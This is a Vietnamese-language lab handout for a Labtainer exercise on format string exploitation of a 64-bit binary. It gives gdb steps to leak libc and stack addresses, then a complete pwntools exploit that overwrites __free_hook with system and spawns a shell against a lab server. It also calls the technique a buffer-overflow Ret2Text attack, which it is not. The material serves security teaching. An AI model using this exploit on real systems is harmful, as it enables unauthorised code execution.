Format String: 64 bit application 3

1. Tổng quan

Lab này bao gồm mã nguồn của chương trình lỗi được biên dịch và chạy dưới kiến trúc 64-bit.

* 1. Yêu cầu đối với sinh viên

Sinh viên cần có kỹ năng sử dụng câu lệnh linux, hiểu biết thức nhất định về lập trình ngôn ngữ bậc thấp, biết sử dụng python phục vụ mục đích viết payload, hiểu được cơ bản về cách thức hoạt động của lỗi format string, hoàn thành lab format64\_2

1. Môi trường lab

Từ thư mục labtainer-student bắt đầu bài lab bằng câu lệnh:

*labtainer -r format64\_3*

Sinh viên sẽ được cung cấp 3 container, trong đó:

+ Container attacker: chạy 2 terminal, chứa binary của service chạy

+ Container ghidra: chạy 1 terminal, chứa binary của service chạy

+ Container server: chạy ẩn binary của service

1. Tasks

Mục đích bài lab: Giúp sinh viên hiểu được về kỹ thuật tấn công buffer overflow Ret2Text

* 1. Trigger bug

Mục đích: Tìm được index trỏ đến đầu buffer

Các bước thực hiện:

* Thực hiện debug tiến trình:
  + gdb format64\_3
* Chạy chương trình:
  + run
* Tiến hành tạo một khối với nội dung chứa chuỗi format string
  + C
  + Index = 0
  + Size = 200
  + Content = %p%p%p%p%p%p%p%p
* In ra khối đó để trigger bug
  + S
  + Index = 0
* Output sẽ in ra giá trị trên stack
* Tìm phần tử %p tương ứng khi thấy bắt đầu có sự lặp lại các giá trị in ra
* Sử dụng Ctrl-C để thoát tiến trình debug
  1. Find free\_hook

Mục đích: Tìm được địa chỉ hàm free\_hook

Các bước thực hiện:

* Mở lại tiến trình debug:
  + gdb format64\_3
* Thực hiện đặt breakpoint tại main:
  + b main
* Chạy chương trình
  + run
* Thực hiện chạy lệnh in địa chỉ để in ra địa chỉ của \_\_free\_hook:
  + print &\_\_free\_hook
* Lưu địa chỉ này lại để tính offset của \_\_free\_hook so với libc base
  1. Find system

Mục đích: Tìm được địa chỉ hàm system

Các bước thực hiện:

* Thực hiện chạy lệnh in địa chỉ để in ra địa chỉ của system:
  + print system
* Lưu địa chỉ này lại để tính offset của system so với libc base
  1. VMMAP

Mục đích: Tìm được offset của địa chỉ leak, offset system và offset free\_hook

Các bước thực hiện:

* Tại cửa số đang debug thực hiện câu lệnh vmmap để in ra thông tin phân vùng bộ nhớ:
  + Vmmap
* Địa chỉ ở cột start tại dòng đầu tiên trỏ tới libc là địa chỉ base của libc
* Tính địa chỉ offset của system và free\_hook bằng cách lấy 2 địa chỉ ở trên tìm được sau đó trừ đi địa chỉ libc\_base
  1. Overwrite

Mục đích: Tìm được param thích hợp để tấn công

Các bước thực hiện:

* Gõ stack và ấn enter thêm vài lần để hiện thêm thông tin của stack:
  + stack
* Tìm ô địa chỉ sao cho ô địa chỉ đó chứa giá trị là một danh sách liên kết đơn có ít nhất 2 node
* Địa chỉ của ô đó và địa chỉ của ô mà nó chứa là 2 địa chỉ cần
* Xác định 2 ô địa chỉ đó là phần tử %p thứ bao nhiêu 2 số đó sẽ lần lượt là param1 và param2
  1. Secret

Mục đích: Tìm được nội dung flag được giấu trên server

Các bước thực hiện:

* Thay đổi payload để thực hiện tấn công lên server
  + P = remote(‘192.168.1.2’, 1810)
* Đọc file secret sau đó copy chuỗi số bí mật:
  + cat .secret
* Thoát khỏi chương trình sau đó submit flag tại cửa sổ terminal của attacker
  + echo “flag <secret number>”

*payload cuối cùng:*

|  |
| --- |
| **from** pwn **import** **\***  elf **=** ELF**(**'./test'**)**  p **=** elf**.**process**()**  gdb**.**attach**(**p**)**  gdb**.**attach**(**p**,** """  b \*show+224  b delete  """**)**  pause**()**  leak\_payload **=** b'%10$p|%13$p'  # function to write value3 to value4  **def** write\_**(**p**,** value4**,** value3**,** param1**,** param2**):**  # setup  write\_addr **=** value3  write\_addr\_offset **=** write\_addr **&** 0xffff  lo**,** hi**,** ext **=** **(**value4 **&** 0xffff**),** **((**value4**>>**16**)** **&** 0xffff**),** **(**value4 **>>** 32**)**  write\_arr **=** **{**lo**:**write\_addr\_offset**,** hi**:(**write\_addr\_offset**+**2**),** ext**:(**write\_addr\_offset **+** 4**)}**  **print** **(**write\_arr**)**  # write\_addr  **for** i **in** write\_arr**:**  ## write addr offset to param2 using param1  payload **=** b'%' **+** **str(**write\_arr**[**i**]).**encode**()**  payload **+=** b'c%' **+** **str(**param1**).**encode**()** **+** b'$hn'  p**.**sendlineafter**(**b'> '**,** b'M'**)**  p**.**sendlineafter**(**b'> '**,** b'10'**)**  p**.**sendlineafter**(**b'> '**,** payload**)**  p**.**sendlineafter**(**b'> '**,** b'S'**)**  p**.**sendlineafter**(**b'> '**,** b'10'**)**  ## use param2 to modify value  payload **=** b'%' **+** **str(**i**).**encode**()**  payload **+=** b'c%' **+** **str(**param2**).**encode**()** **+** b'$hn'  p**.**sendlineafter**(**b'> '**,** b'M'**)**  p**.**sendlineafter**(**b'> '**,** b'10'**)**  p**.**sendlineafter**(**b'> '**,** payload**)**  p**.**sendlineafter**(**b'> '**,** b'S'**)**  p**.**sendlineafter**(**b'> '**,** b'10'**)**  # create block size 100  p**.**sendlineafter**(**b'> '**,** b'C'**)**  p**.**sendlineafter**(**b'> '**,** b'0'**)**  p**.**sendlineafter**(**b'> '**,** b'100'**)**  p**.**sendlineafter**(**b'> '**,** leak\_payload**)**  # trigger bug, leak stack, libc  p**.**sendlineafter**(**b'> '**,** b'S'**)**  p**.**sendlineafter**(**b'> '**,** b'0'**)**  p**.**recvuntil**(**b': '**)**  raw **=** p**.**recvline**().**replace**(**b'\n'**,** b""**).**split**(**b'|'**)**  **print** **(**raw**)**  leak **=** **int(**raw**[**1**],** 16**)**  param1 **=** 0  param2 **=** 0  system\_offset **=** 0  offset\_leak **=** 0  \_\_free\_hook\_offset **=** 0  stack\_base **=** **int(**raw**[**0**],** 16**)** **-** 13**\***8  libc\_base **=** leak **-** offset\_leak  system **=** libc\_base **+** system\_offset  \_\_free\_hook **=** libc\_base **+** \_\_free\_hook\_offset  p**.**sendlineafter**(**b'> '**,** b'C'**)**  p**.**sendlineafter**(**b'> '**,** b'10'**)**  p**.**sendlineafter**(**b'> '**,** b'200'**)**  p**.**sendlineafter**(**b'> '**,** b'AABB'**)**  write\_**(**p**,** \_\_free\_hook**,** stack\_base **+** 22**\***8**,** param1**,** param2**)**  write\_**(**p**,** \_\_free\_hook**+**2**,** stack\_base **+** 23**\***8**,** param1**,** param2**)**  write\_**(**p**,** \_\_free\_hook**+**4**,** stack\_base **+** 24**\***8**,** param1**,** param2**)**  p**.**sendlineafter**(**b'> '**,** b'M'**)**  p**.**sendlineafter**(**b'> '**,** b'10'**)**  p**.**sendlineafter**(**b'> '**,** b'%'**+str(**system **&** 0xffff**).**encode**()** **+**b'c%21$hn'**)**  p**.**sendlineafter**(**b'> '**,** b'S'**)**  #pause()  p**.**sendlineafter**(**b'> '**,** b'10'**)**  p**.**sendlineafter**(**b'> '**,** b'M'**)**  p**.**sendlineafter**(**b'> '**,** b'10'**)**  p**.**sendlineafter**(**b'> '**,** b'%'**+str((**system **>>** 16**)** **&** 0xffff**).**encode**()** **+**b'c%22$hn'**)**  p**.**sendlineafter**(**b'> '**,** b'S'**)**  #pause()  p**.**sendlineafter**(**b'> '**,** b'10'**)**  p**.**sendlineafter**(**b'> '**,** b'M'**)**  p**.**sendlineafter**(**b'> '**,** b'10'**)**  p**.**sendlineafter**(**b'> '**,** b'%'**+str(**system **>>** 32**).**encode**()** **+**b'c%23$hn'**)**  p**.**sendlineafter**(**b'> '**,** b'S'**)**  pause**()**  p**.**sendlineafter**(**b'> '**,** b'10'**)**  p**.**sendlineafter**(**b'> '**,** b'M'**)**  p**.**sendlineafter**(**b'> '**,** b'10'**)**  p**.**sendlineafter**(**b'> '**,** b'/bin/sh\x00'**)**  p**.**sendlineafter**(**b'> '**,** b'D'**)**  p**.**sendlineafter**(**b'> '**,** b'10'**)**  p**.**interactive**()** |